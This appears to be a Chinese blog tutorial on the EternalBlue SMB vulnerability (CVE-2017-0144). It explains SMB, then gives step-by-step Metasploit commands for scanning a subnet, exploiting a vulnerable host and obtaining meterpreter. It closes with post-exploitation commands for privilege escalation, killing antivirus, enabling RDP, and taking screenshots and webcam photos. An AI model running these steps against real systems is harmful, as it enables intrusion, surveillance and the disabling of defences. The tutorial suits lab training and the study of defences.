永恒之蓝漏洞利用

永恒之蓝漏洞利用

Deng YongJie's blog 2,117 2023-03-18

一、 环境准备

1 一台Windows电脑

(可以使用虚拟机代替)

2 Metasploit任意平台

可以是Windows版,可以是kali自带版

二、 CVE-2017-0144 介绍

1.何为CVE-2017-0144?

​ CVE-2017-0144 既 永恒之蓝最早爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了勒索病毒,使全世界大范围内遭受了勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。

2.什么是SMB协议?

SMB是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

3.SMB工作原理是什么?

(1):首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。

(2):协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。

(3):当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。

(4):连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。

三、原理 永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

四、CVE-2017-0144 利用方法

1 启动Metasploit

终端里输入 msfconsole

2 查询利用模块

终端里输入 search ms17_010

960ae38818084260be8eb69e589edba4[1]

3 使用探测模块

终端内输入 use auxiliary/scanner/smb/smb_ms17_010

4 设置探测范围

终端内输入 show options

ab7ca3d4ba774677bc2a239c420349f7[1]

上图中我们可以看到是需要配置一个RHOSTS

终端内输入 set rhosts 192.168.3.0/24 (设置扫描当前网段 可以通过 在终端内输入ip a 查看)

也可以设置范围 set rhosts 192.168.3.1-192.168.3.10

5 开始探测

终端内输入 run 执行探测

7df1f73ea464404091de9c13d885c139[1]

根据上图我们可以看到 192.168.3.8 这个IP的机器可能存在漏洞

6 开始漏洞利用

开始利用首先在终端里输入
search ms17_010

8bf107d057a34676984a5d5e8b9bae73[1]
使用 模块
use exploit/windows/smb/ms17_010_eternalblue

7 配置利用模块

配置模块
show options
配置靶机
set rhost 192.168.3.8 这里IP填第五步探测到的IP

8 执行攻击

在终端里输入 run

8a0c81062f424c7682a329503a315313[1]

知道咱们看到 win 则攻击成功 拿到meterpreter

9 后渗透操作

查看进程:ps
查看当前进程号:getpid
查看系统信息:sysinfo
查看目标机是否为虚拟机:run post/windows/gather/checkvm
查看完整网络设置:route
查看当前权限:getuid
自动提权:getsystem
关闭杀毒软件:run post/windows/manage/killav
启动远程桌面协议:run post/windows/manage/enable_rdp
列举当前登录的用户:run post/windows/gather/enum_logged_on_users
查看当前应用程序:run post/windows/gather/enum_applications
抓取目标机的屏幕截图:load espia ; screengrab
抓取摄像头的照片:webcam_snap
查看当前处于目标机的那个目录:pwd
查看当前目录:getlwd